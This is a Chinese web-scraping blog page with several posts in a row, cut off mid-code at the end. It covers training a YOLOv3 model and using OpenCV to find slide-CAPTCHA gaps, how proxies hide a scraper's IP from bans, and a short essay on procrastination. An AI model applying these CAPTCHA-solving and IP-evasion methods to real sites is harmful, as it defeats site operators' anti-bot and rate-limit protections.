爬虫系列文章总目录:【2022 年】Python3 爬虫学习教程,本教程内容多数来自于《Python3网络爬虫开发实战(第二版)》一书,目前截止 2022 年,可以将爬虫基本技术进行系统讲解,同时将最新前沿爬虫技术如异步、JavaScript 逆向、AST、安卓逆向、Hook、智能解析、群控技术、WebAssembly、大规模分布式、Docker、Kubernetes 等,市面上目前就仅有《Python3 网络爬虫开发实战(第二版)》一书了,点击了解详情

上一节我们使用 OpenCV 识别了图形验证码躯壳欧。这时候就有朋友可能会说了,现在深度学习不是对图像识别很准吗?那深度学习可以用在识别滑动验证码缺口位置吗?

当然也是可以的,本节我们就来了解下使用深度学习识别滑动验证码的方法。

1. 准备工作

同样地,本节还是主要侧重于完成利用深度学习模型来识别验证码缺口的过程,所以不会侧重于讲解深度学习模型的算法,另外由于整个模型实现较为复杂,本节也不会从零开始编写代码,而是倾向于把代码提前下载下来进行实操练习。

所以在最后,请提前代码下载下来,仓库地址为:https://github.com/Python3WebSpider/DeepLearningSlideCaptcha2,利用 Git 把它克隆下来:

1
git clone https://github.com/Python3WebSpider/DeepLearningSlideCaptcha2.git

运行完毕之后,本地就会出现一个 DeepLearningImageCaptcha2 的文件夹,就证明克隆成功了。

克隆完毕之后,请切换到 DeepLearningImageCaptcha2 文件夹,安装必要的依赖库:

1
pip3 install -r requirements.txt

运行完毕之后,本项目运行所需要的依赖库就全部安装好了。

以上准备工作都完成之后,那就让我们就开始本节正式的学习吧。

2. 目标检测

识别滑动验证码缺口的这个问题,其实可以归结为目标检测问题。那什么叫目标检测呢?在这里简单作下介绍。

目标检测,顾名思义,就是把我们想找的东西找出来。比如给一张「狗」的图片,如图所示:

image-20191107024841075

我们想知道这只狗在哪,它的舌头在哪,找到了就把它们框选出来,这就是目标检测。

经过目标检测算法处理之后,我们期望得到的图片是这样的:

image-20191107025008947

可以看到这只狗和它的舌头就被框选出来了,这就完成了一个不错的目标检测。

现在比较流行的目标检测算法有 R-CNN、Fast R-CNN、Faster R-CNN、SSD、YOLO 等,感兴趣可以了解一下,当然不太了解对本节要完成的目标也没有什么影响。

当前做目标检测的算法主要有两种方法,有一阶段式和两阶段式,英文叫做 One stage 和 Two stage,简述如下:

  • Two Stage:算法首先生成一系列目标所在位置的候选框,然后再对这些框选出来的结果进行样本分类,即先找出来在哪,然后再分出来是啥,俗话说叫「看两眼」,这种算法有 R-CNN、Fast R-CNN、Faster R-CNN 等,这些算法架构相对复杂,但准确率上有优势。
  • One Stage:不需要产生候选框,直接将目标定位和分类的问题转化为回归问题,俗话说叫「看一眼」,这种算法有 YOLO、SSD,这些算法虽然准确率上不及 Two stage,但架构相对简单,检测速度更快。

所以这次我们选用 One Stage 的有代表性的目标检测算法 YOLO 来实现滑动验证码缺口的识别。

YOLO,英文全称叫做 You Only Look Once,取了它们的首字母就构成了算法名,

目前 YOLO 算法最新的版本是 V5 版本,应用比较广泛的是 V3 版本,这里算法的具体流程我们就不过多介绍了,感兴趣的可以搜一下相关资料了解下,另外也可以了解下 YOLO V1-V3 版本的不同和改进之处,这里列几个参考链接:

  • YOLO V3 论文:https://pjreddie.com/media/files/papers/YOLOv3.pdf
  • YOLO V3 介绍:https://zhuanlan.zhihu.com/p/34997279
  • YOLO V1-V3 对比介绍:https://www.cnblogs.com/makefile/p/yolov3.html

3. 数据准备

像上一节介绍的一样,要训练深度学习模型也需要准备训练数据,数据也是分为两部分,一部分是验证码图像,另一部分是数据标注,即缺口的位置。但和上一节不一样的是,这次标注不再是单纯的验证码文本了,因为这次我们需要表示的是缺口的位置,缺口对应的是一个矩形框,要表示一个矩形框,至少需要四个数据,如左上角点的横纵坐标 x、y,矩形的宽高 w、h,所以标注数据就变成了四个数字。

所以,接下来我们就需要准备一些验证码图片和对应的四位数字的标注了,比如下图的滑动验证码:

好,那接下来我们就完成这两步吧,第一步就是收集验证码图片,第二步就是标注缺口的位置并转为我们想要的四位数字。

在这里我们的示例网站是 https://captcha1.scrape.center/,打开之后点击登录按钮便会弹出一个滑动验证码,如图所示:

image-20210504182925384

我们需要做的就是单独将滑动验证码的图像保存下来,也就是这个区域:

image-20210504183039997

怎么做呢?靠手工截图肯定不太可靠,费时费力,而且不好准确定位边界,会导致存下来的图片有大有小。为了解决这个问题,我们可以简单写一个脚本来实现下自动化裁切和保存,就是仓库中的 collect.py 文件,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.common.exceptions import WebDriverException
import time
from loguru import logger

COUNT = 1000

for i in range(1, COUNT + 1):
try:
browser = webdriver.Chrome()
wait = WebDriverWait(browser, 10)
browser.get('https://captcha1.scrape.center/')
button = wait.until(EC.element_to_be_clickable(
(By.CSS_SELECTOR, '.el-button')))
button.click()
captcha = wait.until(
EC.presence_of_element_located((By.CSS_SELECTOR, '.geetest_slicebg.geetest_absolute')))
time.sleep(5)
captcha.screenshot(f'data/captcha/images/captcha_{i}.png')
except WebDriverException as e:
logger.error(f'webdriver error occurred {e.msg}')
finally:
browser.close()

在这里我们先定义了一个循环,循环次数为 COUNT 次,每次循环都使用 Selenium 启动一个浏览器,然后打开目标网站,模拟点击登录按钮触发验证码弹出,然后截取验证码对应的节点,再用 screenshot 方法将其保存下来。

我们将其运行:

1
python3 collect.py

运行完了之后我们就可以在 data/captcha/images/ 目录获得很多验证码图片了,样例如图所示:

image-20210504194022826

获得验证码图片之后,我们就需要进行数据标注了,这里推荐的工具是 labelImg,GitHub 地址为 https://github.com/tzutalin/labelImg,使用 pip3 安装即可:

1
pip3 install labelImg

安装完成之后可以直接命令行运行:

1
labelImg

这样就成功启动了 labelImg:

image-20210504194644729

点击 Open Dir 打开 data/captcha/images/ 目录,然后点击左下角的 Create RectBox 创建一个标注框,我们可以将缺口所在的矩形框框选出来,框选完毕之后 labelImg 就会提示保存一个名称,我们将其命名为 target,然后点击 OK,如图所示:

image-20210504194608969

这时候我们可以发现其保存了一个 xml 文件,内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<annotation>
<folder>images</folder>
<filename>captcha_0.png</filename>
<path>data/captcha/images/captcha_0.png</path>
<source>
<database>Unknown</database>
</source>
<size>
<width>520</width>
<height>320</height>
<depth>3</depth>
</size>
<segmented>0</segmented>
<object>
<name>target</name>
<pose>Unspecified</pose>
<truncated>0</truncated>
<difficult>0</difficult>
<bndbox>
<xmin>321</xmin>
<ymin>87</ymin>
<xmax>407</xmax>
<ymax>167</ymax>
</bndbox>
</object>
</annotation>

其中可以看到 size 节点里有三个节点,分别是 width、height、depth,分别代表原验证码图片的宽度、高度、通道数。另外 object 节点下的 bndbox 节点就包含了标注缺口的位置,通过观察对比可以知道 xmin、ymin 指的就是左上角的坐标,xmax、ymax 指的就是右下角的坐标。

我们可以用下面的方法简单进行下数据处理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import xmltodict
import json

def parse_xml(file):
xml_str = open(file, encoding='utf-8').read()
data = xmltodict.parse(xml_str)
data = json.loads(json.dumps(data))
annoatation = data.get('annotation')
width = int(annoatation.get('size').get('width'))
height = int(annoatation.get('size').get('height'))
bndbox = annoatation.get('object').get('bndbox')
box_xmin = int(bndbox.get('xmin'))
box_xmax = int(bndbox.get('xmax'))
box_ymin = int(bndbox.get('ymin'))
box_ymax = int(bndbox.get('ymax'))
box_width = (box_xmax - box_xmin) / width
box_height = (box_ymax - box_ymin) / height
return box_xmin / width, box_ymin / height, box_width / width, box_height / height

这里我们定义了一个 parse_xml 方法,这个方法首先读取了 xml 文件,然后使用 xmltodict 库就可以将 XML 字符串转为 JSON,然后依次读取出验证码的宽高信息,缺口的位置信息,最后返回了想要的数据格式—— 缺口左上角的坐标和宽高相对值,以元组的形式返回。

都标注完成之后,对每个 xml 文件调用此方法便可以生成想要的标注结果了。

在这里,我已经将对应的标注结果都处理好了,可以直接使用,路径为 data/captcha/labels,如图所示:

image-20210504200730482

每个 txt 文件对应一张验证码图的标注结果,内容类似如下:

1
0 0.6153846153846154 0.275 0.16596774 0.24170968

第一位 0 代表标注目标的索引,由于我们只需要检测一个缺口,所以索引就是 0;第 2、3 位代表缺口的左上角的位置,比如 0.615 则代表缺口左上角的横坐标在相对验证码的 61.5% 处,乘以验证码的宽度 520,结果大约就是 320,即左上角偏移值是 320 像素;第 4、5 代表缺口的宽高相对验证码图片的占比,比如第 5 位 0.24 乘以验证码的高度 320,结果大约是 77,即缺口的高度大约为 77 像素。

好了,到此为止数据准备阶段就完成了。

4. 训练

为了更好的训练效果,我们还需要下载一些预训练模型。预训练的意思就是已经有一个提前训练过的基础模型了,我们可以直接使用提前训练好的模型里面的权重文件,我们就不用从零开始训练了,只需要基于之前的模型进行微调就好了,这样既可以节省训练时间,又可以有比较好的效果。

YOLOV3 的训练要加载预训练模型才能有不错的训练效果,预训练模型下载命令如下:

1
bash prepare.sh

注意:在 Windows 下请使用 Bash 命令行工具如 Git Bash 来运行此命令。

执行这个脚本,就能下载 YOLO V3 模型的一些权重文件,包括 yolov3 和 weights 还有 darknet 的 weights,在训练之前我们需要用这些权重文件初始化 YOLO V3 模型。

接下来就可以开始训练了,执行如下脚本:

1
bash train.sh

注意:在 Windows 下请同样使用 Bash 命令行工具如 Git Bash 来运行此命令。

同样推荐使用 GPU 进行训练,训练过程中我们可以使用 TensorBoard 来看看 loss 和 mAP 的变化,运行 TensorBoard:

1
tensorboard --logdir='logs' --port=6006 --host 0.0.0.0

注意:请确保已经正确安装了本项目的所有依赖库,其中就包括 TensorBoard,安装成功之后便可以使用 tensorboard 命令。

运行此命令后可以在 http://localhost:6006 观察到训练过程中的 loss 变化。

loss_1 变化类似如下:

loss 变化

val_mAP 变化类似如下:

mAP 变化

可以看到 loss 从最初的非常高下降到了很低,准确率也逐渐接近 100%。

这是训练过程中的命令行的一些输出结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
---- [Epoch 99/100, Batch 27/29] ----
+------------+--------------+--------------+--------------+
| Metrics | YOLO Layer 0 | YOLO Layer 1 | YOLO Layer 2 |
+------------+--------------+--------------+--------------+
| grid_size | 14 | 28 | 56 |
| loss | 0.028268 | 0.046053 | 0.043745 |
| x | 0.002108 | 0.005267 | 0.008111 |
| y | 0.004561 | 0.002016 | 0.009047 |
| w | 0.001284 | 0.004618 | 0.000207 |
| h | 0.000594 | 0.000528 | 0.000946 |
| conf | 0.019700 | 0.033624 | 0.025432 |
| cls | 0.000022 | 0.000001 | 0.000002 |
| cls_acc | 100.00% | 100.00% | 100.00% |
| recall50 | 1.000000 | 1.000000 | 1.000000 |
| recall75 | 1.000000 | 1.000000 | 1.000000 |
| precision | 1.000000 | 0.800000 | 0.666667 |
| conf_obj | 0.994271 | 0.999249 | 0.997762 |
| conf_noobj | 0.000126 | 0.000158 | 0.000140 |
+------------+--------------+--------------+--------------+
Total loss 0.11806630343198776

这里显示了训练过程中各个指标的变化情况,如 loss、recall、precision、confidence 等,分别代表训练过程的损失(越小越好)、召回率(能识别出的结果占应该识别出结果的比例,越高越好)、精确率(识别出的结果中正确的比率,越高越好)、置信度(模型有把握识别对的概率,越高越好),可以作为参考。

5. 测试

训练完毕之后会在 checkpoints 文件夹生成 pth 文件,这就是一些模型文件,和上一节的 best_model.pkl 是一样的原理,只不过表示形式略有不同,我们可直接使用这些模型来预测生成标注结果。

要运行测试,我们可以先在测试文件夹 data/captcha/test 放入一些验证码图片:

样例验证码如下:

captcha_435

要运行测试,执行如下脚本:

1
bash detect.sh

该脚本会读取测试文件夹所有图片,并将处理后的结果输出到 data/captcha/result 文件夹,控制台输出了一些验证码的识别结果。

同时在 data/captcha/result 生成了标注的结果,样例如下:

可以看到,缺口就被准确识别出来了。

实际上,detect.sh 是执行了 detect.py 文件,在代码中有一个关键的输出结果如下:

1
2
bbox = patches.Rectangle((x1 + box_w / 2, y1 + box_h / 2), box_w, box_h, linewidth=2, edgecolor=color, facecolor="none")
print('bbox', (x1, y1, box_w, box_h), 'offset', x1)

这里 bbox 指的就是最终缺口的轮廓位置,同时 x1 就是指的轮廓最左侧距离整个验证码最左侧的横向偏移量,即 offset。通过这两个信息,我们就能得到缺口的关键位置了。

有了目标滑块位置之后,我们便可以进行一些模拟滑动操作从而实现通过验证码的检测了。

6. 总结

本节主要介绍了训练深度学习模型来识别滑动验证码缺口的整体流程,最终我们成功实现了模型训练过程,并得到了一个深度学习模型文件。

利用这个模型,我们可以输入一张滑动验证码,模型便会预测出其中的缺口的位置,包括偏移量、宽度等,最后可以通过缺口的信息绘制出对应的位置。

当然本节介绍的内容也可以进一步优化:

  • 当前模型的预测过程是通过命令行执行的,但在实际使用的时候可能并不太方便,可以考虑将预测过程对接 API 服务器暴露出来,比如对接 Flask、Django、FastAPI 等把预测过程实现为一个支持 POST 请求的接口,接口可以接收一张验证码图片,返回验证码的文本信息,这样会使得模型更加方便易用。

本节代码:https://github.com/Python3WebSpider/DeepLearningSlideCaptcha2

Python

爬虫系列文章总目录:【2022 年】Python3 爬虫学习教程,本教程内容多数来自于《Python3网络爬虫开发实战(第二版)》一书,目前截止 2022 年,可以将爬虫基本技术进行系统讲解,同时将最新前沿爬虫技术如异步、JavaScript 逆向、AST、安卓逆向、Hook、智能解析、群控技术、WebAssembly、大规模分布式、Docker、Kubernetes 等,市面上目前就仅有《Python3 网络爬虫开发实战(第二版)》一书了,点击了解详情

我们在做爬虫的过程中经常会遇到这样的情况,最初爬虫正常运行,正常抓取数据,一切看起来都是那么美好,然而一杯茶的功夫可能就会出现错误,比如 403 Forbidden,这时打开网页一看,可能会看到 “您的 IP 访问频率太高” 这样的提示。出现这种现象的原因是网站采取了一些反爬虫措施。比如,服务器会检测某个 IP 在单位时间内的请求次数,如果超过了这个阈值,就会直接拒绝服务,返回一些错误信息,这种情况可以称为封 IP。

既然服务器检测的是某个 IP 单位时间的请求次数,那么借助某种方式来伪装我们的 IP,让服务器识别不出是由我们本机发起的请求,不就可以成功防止封 IP 了吗?

一种有效的方式就是使用代理,后面会详细说明代理的用法。在这之前,需要先了解下代理的基本原理,它是怎样实现伪装 IP 的呢?

1. 基本原理

代理实际上指的就是代理服务器,英文叫作 Proxy Server,它的功能是代理网络用户去取得网络信息。形象地说,它是网络信息的中转站。在我们正常请求一个网站时,是发送了请求给 Web 服务器,Web 服务器把响应传回给我们。如果设置了代理服务器,实际上就是在本机和服务器之间搭建了一个桥,此时本机不是直接向 Web 服务器发起请求,而是向代理服务器发出请求,请求会发送给代理服务器,然后由代理服务器再发送给 Web 服务器,接着由代理服务器再把 Web 服务器返回的响应转发给本机。这样我们同样可以正常访问网页,但这个过程中 Web 服务器识别出的真实 IP 就不再是我们本机的 IP 了,就成功实现了 IP 伪装,这就是代理的基本原理。

2. 代理的作用

那么,代理有什么作用呢?我们可以简单列举如下。

  • 突破自身 IP 访问限制,访问一些平时不能访问的站点。
  • 访问一些单位或团体内部资源。比如,使用教育网内地址段的免费代理服务器,就可以下载和上传对教育网开放的各类 FTP,以及查询、共享各类资料等。
  • 提高访问速度。通常,代理服务器都设置一个较大的硬盘缓冲区,当有外界的信息通过时,会同时将其保存到缓冲区中,而当其他用户再访问相同的信息时,则直接由缓冲区中取出信息,传给用户,以提高访问速度。
  • 隐藏真实 IP。上网者也可以通过这种方法隐藏自己的 IP,免受攻击。对于爬虫来说,我们用代理就是为了隐藏自身的 IP,防止自身的 IP 被封锁。

3. 爬虫代理

对于爬虫来说,由于爬虫爬取速度过快,在爬取过程中可能遇到同一个 IP 访问过于频繁的问题,此时网站就会让我们输入验证码登录或者直接封锁 IP,这样会给爬取带来极大的不便。

使用代理隐藏真实的 IP,让服务器误以为是代理服务器在请求自己。这样在爬取过程中通过不断更换代理,就不会被封锁,可以达到很好的爬取效果。

4. 代理分类

对代理进行分类时,既可以根据协议区分,也可以根据其匿名程度区分,下面总结如下。

根据协议区分

根据代理的协议,代理可以分为如下类别。

  • FTP 代理服务器。主要用于访问 FTP 服务器,一般有上传、下载以及缓存功能,端口一般为 21、2121 等。
  • HTTP 代理服务器。主要用于访问网页,一般有内容过滤和缓存功能,端口一般为 80、8080、3128 等。
  • SSL/TLS 代理。主要用于访问加密网站,一般有 SSL 或 TLS 加密功能(最高支持 128 位加密强度),端口一般为 443。
  • RTSP 代理。主要用于 Realplayer 访问 Real 流媒体服务器,一般有缓存功能,端口一般为 554。
  • Telnet 代理。主要用于 Telnet 远程控制(黑客入侵计算机时常用于隐藏身份),端口一般为 23。
  • POP3/SMTP 代理。主要用于 POP3/SMTP 方式收发邮件,一般有缓存功能,端口一般为 110/25。
  • SOCKS 代理。只是单纯传递数据包,不关心具体协议和用法,所以速度快很多,一般有缓存功能,端口一般为 1080。SOCKS 代理协议又分为 SOCKS4 和 SOCKS5,SOCKS4 协议只支持 TCP,而 SOCKS5 协议支持 TCP 和 UDP,还支持各种身份验证机制、服务器端域名解析等。简单来说,SOCKS4 能做到的 SOCKS5 都可以做到,但 SOCKS5 能做到的 SOCKS4 不一定能做到。

根据匿名程度区分

根据代理的匿名程度,代理可以分为如下类别。

  • 高度匿名代理:高度匿名代理会将数据包原封不动地转发,在服务端看来就好像真的是一个普通客户端在访问,而记录的 IP 是代理服务器的 IP。
  • 普通匿名代理:普通匿名代理会在数据包上做一些改动,服务端上有可能发现这是个代理服务器,也有一定几率追查到客户端的真实 IP。代理服务器通常会加入的 HTTP 头有 HTTP_VIAHTTP_X_FORWARDED_FOR
  • 透明代理:透明代理不但改动了数据包,还会告诉服务器客户端的真实 IP。这种代理除了能用缓存技术提高浏览速度,能用内容过滤提高安全性之外,并无其他显著作用,最常见的例子是内网中的硬件防火墙。
  • 间谍代理:间谍代理指组织或个人创建的,用于记录用户传输的数据,然后进行研究、监控等目的的代理服务器。

5. 常见代理设置

常见的代理设置如下:

  • 使用网上的免费代理,最好使用高匿代理,使用前抓取下来并筛选一下可用代理,也可以进一步维护一个代理池。
  • 使用付费代理服务,互联网上存在许多代理商,可以付费使用,其质量比免费代理好很多。
  • ADSL 拨号,拨一次号换一次 IP,稳定性高,也是一种比较有效的解决方案。
  • 蜂窝代理,即用 4G 或 5G 网卡等制作的代理。由于蜂窝网络用作代理的情形较少,因此整体被封锁的几率会较低,但搭建蜂窝代理的成本较高。

在后面,我们会详细介绍一些代理的使用方式。

6. 总结

本文介绍了代理的相关知识,这对后文我们进行一些反爬绕过的实现有很大的帮助,同时也为后文的一些抓包操作打下基础,需要好好理解。

本节由于涉及一些专业名词,本节的部分内容参考来源如下:

  • 文档 - 代理服务器 - 维基百科:https://zh.wikipedia.org/wiki/ 代理服务器
  • 文档 - 代理 - 百度百科:https://baike.baidu.com/item/代理/3242667

个人随笔

其实我个人感觉我的拖延症是非常严重的,很多时候事情一多,就一个也不想做,俗话说叫“论堆”了。也有很多时候脑海里有个长期大目标,但迟迟不肯动手。

一般我的现象是这样的:

  • 这件事好大好空啊,不知道从哪里下手。
  • 一想到开始好久没做过或者从没做过的一件事就觉得麻烦。
  • 一想到从那么一堆事情里面开始梳理开始做就觉得麻烦。

你中枪了吗?

然鹅,近期我发现了一个不错的方法,可以帮助我缓解拖延症。试用之后我的整体效率高了不少,同时还感到满满的成就感,同时还感觉时间多了不少。

其实方法很简单。

每天早上起来花 10 分钟把今天要做的事情按小时粒度全部列出来,不论是工作还是日常生活。

是的,这个方法我特意用了一周左右,感觉非常有效,效率高了很多!

我思考了下原因,每天低效或者有时候觉得无所事事的原因就是没有目标,尤其是没有短期目标。这个短期目标并不是一周、并不是一天,而应该拆解到小时(当然更牛逼的人会拆解到分钟,抱歉我还做不到)。

举个栗子。

比如我今天要上班,上班一般有些会需要开,有些代码需要些,有些文档需要整等等的,下班之后我还要运动下,还要写点东西,还要看点书,还要玩会游戏放松下。

OK,都没问题。

注:公司的邮件系统一般会有会议什么的安排,比如我公司就用的 Outlook 和 Teams,但是它就比较难和我个人的待做清单(滴答清单)有机地融合在一起,所以,我干脆直接全部以自己的待做清单为准,我会在自己的待做清单里面再把今天我要做的所有事情都梳理一遍。

比如说,我的一天可能就这样的:

  • 八点半:起床、洗漱、定早餐
  • 九点:吃早餐
  • 十点:开会讨论某个项目进度
  • 十一点:写某个功能 A 的代码
  • 十二点:午饭
  • 两点:整理某个项目文档
  • 三点:写某个功能 B 的代码
  • 四点半:开会讨论技术问题
  • 六点:晚饭
  • 七点:学习某个知识点
  • 八点半:写某个技术总结
  • 九点:跑步运动
  • 十点半:玩游戏放松
  • 十一点:看看新闻和书

OK,这些所有的我都会列到我的待做清单(滴答清单)中。

当然上面的安排都是随便写写的,每天都是不一样的,都是每天早上花 10 分钟左右想出来并列出来的,重要的是根据自己的实际情况合理分配一个预估时间点。

这个时间点不一定准,如果某个做不完,那稍微调整也没问题。

这样我每天从早上开始就觉得很有目标和动力,每做完一件事情就打勾,一天下来,十几项事情都勾完了,会很有成就感。

这样做有几个好处:

  • 每个小时都有清晰的事情可以做,而不是做完了一件事之后不知道下面做什么,就容易走神、跑偏甚至就玩起来一发不可收拾。
  • 每天记录下来不会漏掉一些重要的事情。
  • 做事情的节奏感很强。
  • 同时每天做完之后成就感也很强。

是的,每天都会感觉做的很充实,甚至每天的事情做完了之后还觉得多出来了一些时间,就会感觉到更满足,剩下的时间自己可以继续分配,或者就简单做自己想做的事情。

嗯,对我来说还是很有用的!

大家也去试试吧:每天早上起来花 10 分钟把今天要做的事情按小时粒度全部列出来,然后去执行吧!

更多精彩内容,请关注我的公众号「进击的 Coder」和「崔庆才丨静觅」。

Python

爬虫系列文章总目录:【2022 年】Python3 爬虫学习教程,本教程内容多数来自于《Python3网络爬虫开发实战(第二版)》一书,目前截止 2022 年,可以将爬虫基本技术进行系统讲解,同时将最新前沿爬虫技术如异步、JavaScript 逆向、AST、安卓逆向、Hook、智能解析、群控技术、WebAssembly、大规模分布式、Docker、Kubernetes 等,市面上目前就仅有《Python3 网络爬虫开发实战(第二版)》一书了,点击了解详情

上一节我们学习了利用 OCR 技术对图形验证码进行识别的方法,但随着互联网技术的发展,各种新型验证码层出不穷,最具有代表性的便是滑动验证码了。

本节我们首先介绍下滑动验证码的验证流程,然后介绍一个简易的利用图像处理技术来识别滑动验证码缺口的方法。

1. 滑动验证码

说起滑动验证码,比较有代表性的服务商有极验、网易易盾等,验证码效果如图所示:

极验

网易易盾

验证码下方通常会有一个滑轨,同时带有文字提示「拖动滑块完成拼图」,我们需要按住滑轨上的滑块向右拖拽,这时候验证码最左侧的滑块便会跟随滑轨上的滑块向右移动,在验证码右侧会有一个滑块缺口,我们需要恰好将滑块拖动到目标缺口处,这时候就算验证成功了,验证成功的效果如图所示:

image-20210418114633889

所以,如果我们想要用爬虫来自动化完成这一流程的话,关键步骤有如下两个:

  • 识别出目标缺口的位置
  • 将缺口滑动到对应位置

其中第二步的实现有多种方式,比如我们可以用 Selenium 等自动化工具模拟完成这个流程,验证并登录成功之后获取对应的 Cookies 或 Token 等信息再进行后续的操作,但这种方法运行效率会比较低。另一种方法便是直接逆向验证码背后的 JavaScript 逻辑,将缺口信息直接传给 JavaScript 代码执行获取一些类似“密钥”的信息,再利用这些“密钥”进行下一步的操作。

注意:由于某些出于安全考虑的原因,本书不会再介绍第二步的具体操作,而是只针对于第一步的技术问题进行讲解。

因此,本节只会针对于第一步即如何识别出目标缺口的位置进行介绍,即给定一张验证码图片,如何用图像识别的方法识别出缺口的位置。

2.基本原理

本节我们会介绍利用 OpenCV 进行缺口识别的方法,输入一张带有缺口的验证码图片,输出缺口的位置(一般为缺口左侧横坐标)。

比如输入的验证码图片如下:

captcha

最后输出的识别结果如下:

image_label

本节介绍的方法是利用 OpenCV 进行基本的图像处理来实现的,主要步骤包括:

  • 对验证码图片进行高斯模糊滤波处理,消除部分噪声干扰
  • 对验证码图片应用边缘检测算法,通过调整相应阈值识别出滑块边缘
  • 对上一步得到的各个边缘轮廓信息,通过对比面积、位置、周长等特征筛选出最可能的轮廓位置,得到缺口位置。

3.准备工作

在本节开始之前请确保已经安装好了 python-opencv 库,安装方式如下:

1
pip3 install python-opencv

如果安装出现问题,可以参考详细的安装步骤:https://setup.scrape.center/python-opencv。

另外建议提前准备一张滑动验证码图片,样例图片下载地址:https://github.com/Python3WebSpider/CrackSlideCaptcha/blob/cv/captcha.png,当然也可以从 https://captcha1.scrape.center/ 自行截取,最终的图片如上文所示。

4.基础知识

在真正开始介绍之前,我们先需要了解一些 OpenCV 的基础 API,以帮助我们更好地理解整个原理。

高斯滤波

高斯滤波是用来去除图像中的一些噪声的,基本效果其实就是把一张图像变得模糊化,减少一些图像噪声干扰,从而为下一步的边缘检测做好铺垫。

OpenCV 提供了一个用于实现高斯模糊的方法,叫做 GaussianBlur,方法声明如下:

1
def GaussianBlur(src, ksize, sigmaX, dst=None, sigmaY=None, borderType=None)

比较重要的参数介绍如下:

  • src:即需要被处理的图像。
  • ksize:进行高斯滤波处理所用的高斯内核大小,它需要是一个元组,包含 x 和 y 两个维度。
  • sigmaX:表示高斯核函数在 X 方向的的标准偏差。
  • sigmaY:表示高斯核函数在 Y 方向的的标准偏差,若 sigmaY 为 0,就将它设为 sigmaX,如果 sigmaX 和 sigmaY 都是 0,那么 sigmaX 和 sigmaY 就通过 ksize 计算得出。

这里 ksize 和 sigmaX 是必传参数,对本节样例图片,ksize 我们可以取 (5, 5),sigmaX 可以取 0。

经过高斯滤波处理后,图像会变得模糊,效果如下:

image_gaussian_blur

边缘检测

由于验证码目标缺口通常具有比较明显的边缘,所以借助于一些边缘检测算法并通过调整阈值是可以找出它的位置的。目前应用比较广泛的边缘检测算法是 Canny,它是 John F. Canny 于 1986 年开发出来的一个多级边缘检测算法,效果还是不错的,OpenCV 也对此算法进行了实现,方法名称就叫做 Canny,声明如下:

1
def Canny(image, threshold1, threshold2, edges=None, apertureSize=None, L2gradient=None)

比较重要的参数介绍如下:

  • image:即需要被处理的图像。
  • threshold1、threshold2:两个阈值,分别为最小和最大判定临界点。
  • apertureSize:用于查找图像渐变的 Sobel 内核的大小。
  • L2gradient:指定用于查找梯度幅度的等式。

通常来说,我们只需要设定 threshold1 和 threshold2 即可,其数值大小需要视不同图像而定,比如本节样例图片可以分别取 200 和 450。

经过边缘检测算法处理后,一些比较明显的边缘信息会被保留下来,效果如下:

image-20210418142819176

轮廓提取

进行边缘检测处理后,我们可以看到图像中会保留有比较明显的边缘信息,下一步我们可以用 OpenCV 将边缘轮廓提取出来,这里需要用到 findContours 方法,方法声明如下:

1
def findContours(image, mode, method, contours=None, hierarchy=None, offset=None)

比较重要的参数介绍如下:

  • image:即需要被处理的图像。
  • mode:定义轮廓的检索模式,详情见 OpenCV 的 RetrievalModes 的介绍。
  • method:定义轮廓的近似方法,详情见 OpenCV 的 ContourApproximationModes 的介绍。

在这里,我们选取 mode 为 RETR_CCOMP,method 为 CHAIN_APPROX_SIMPLE,具体的选型标准可以参考 OpenCV 的文档介绍,这里不再展开讲解。

外接矩形

提取到轮廓之后,为了方便进行判定,我们可以将轮廓的外界矩形计算出来,这样方便我们根据面积、位置、周长等参数进行判定,以得出该轮廓是不是目标滑块的轮廓。

计算外接矩形使用的方法是 boundingRect,方法声明如下:

1
def boundingRect(array)

只有一个参数:

  • array:可以是一个灰度图或者 2D 点集,这里可以传入轮廓信息。

经过轮廓信息和外接矩形判定之后,我们可以得到类似如下结果:

image-20210418142752172

可以看到这样就能成功获取各个轮廓的外接矩形,接下来我们根据外接矩形的面积、和位置就能筛选出缺口对应的位置了。

轮廓面积

现在已经得到了各个外接矩形,但是很明显有些矩形不是我们想要的,我们可以根据面积、周长等来进行筛选,这里就需要用到计算面积的方法,叫做 contourArea,方法定义如下:

1
def contourArea(contour, oriented=None)

参数介绍如下:

  • contour:轮廓信息。
  • oriented:面向区域标识符。有默认值 False。若为 True,该函数返回一个带符号的面积值,正负取决于轮廓的方向(顺时针还是逆时针)。若为 False,表示以绝对值返回。

返回结果就是轮廓的面积。

轮廓周长

同样,周长的计算也有对应的方法,叫做 arcLength,方法定义如下:

1
def arcLength(curve, closed)

参数介绍如下:

  • curve:轮廓信息。
  • closed:表示轮廓是否封闭。

返回结果就是轮廓的周长。

以上内容介绍了一些 OpenCV 内置方法,了解了这些方法的用法,我们可以对下文的具体实现有更透彻的理解。

5.缺口识别

接下来我们就开始真正实现一下缺口识别算法了。

首先我们定义高斯滤波、边缘检测、轮廓提取的三个方法,实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import cv2

GAUSSIAN_BLUR_KERNEL_SIZE = (5, 5)
GAUSSIAN_BLUR_SIGMA_X = 0
CANNY_THRESHOLD1 = 200
CANNY_THRESHOLD2 = 450

def get_gaussian_blur_image(image):
return cv2.GaussianBlur(image, GAUSSIAN_BLUR_KERNEL_SIZE, GAUSSIAN_BLUR_SIGMA_X)

def get_canny_image(image):
return cv2.Canny(image, CANNY_THRESHOLD1, CANNY_THRESHOLD2)

def get_contours(image):
contours, _ = cv2.findContours(image, cv2.RETR_CCOMP, cv2.CHAIN_APPROX_SIMPLE)
return contours

三个方法介绍如下:

  • get_gaussian_blur_image:传入待处理图像信息,返回高斯滤波处理后的图像,ksize 定义为 (5, 5),sigmaX 定义为 0。
  • get_canny_image:传入待处理图像信息,返回边缘检测处理后的图像,threshold1 和 threshold2 分别定义为 200 和 450。
  • get_contours:传入待处理图像信息,返回检测到的轮廓信息,这里 mode 设定为 RETR_CCOMP,method 设定为 CHAIN_APPROX_SIMPLE。

原始待识别验证码命名为 captcha.png,接下来我们分别调用以上方法对验证码进行处理:

1
2
3
4
5
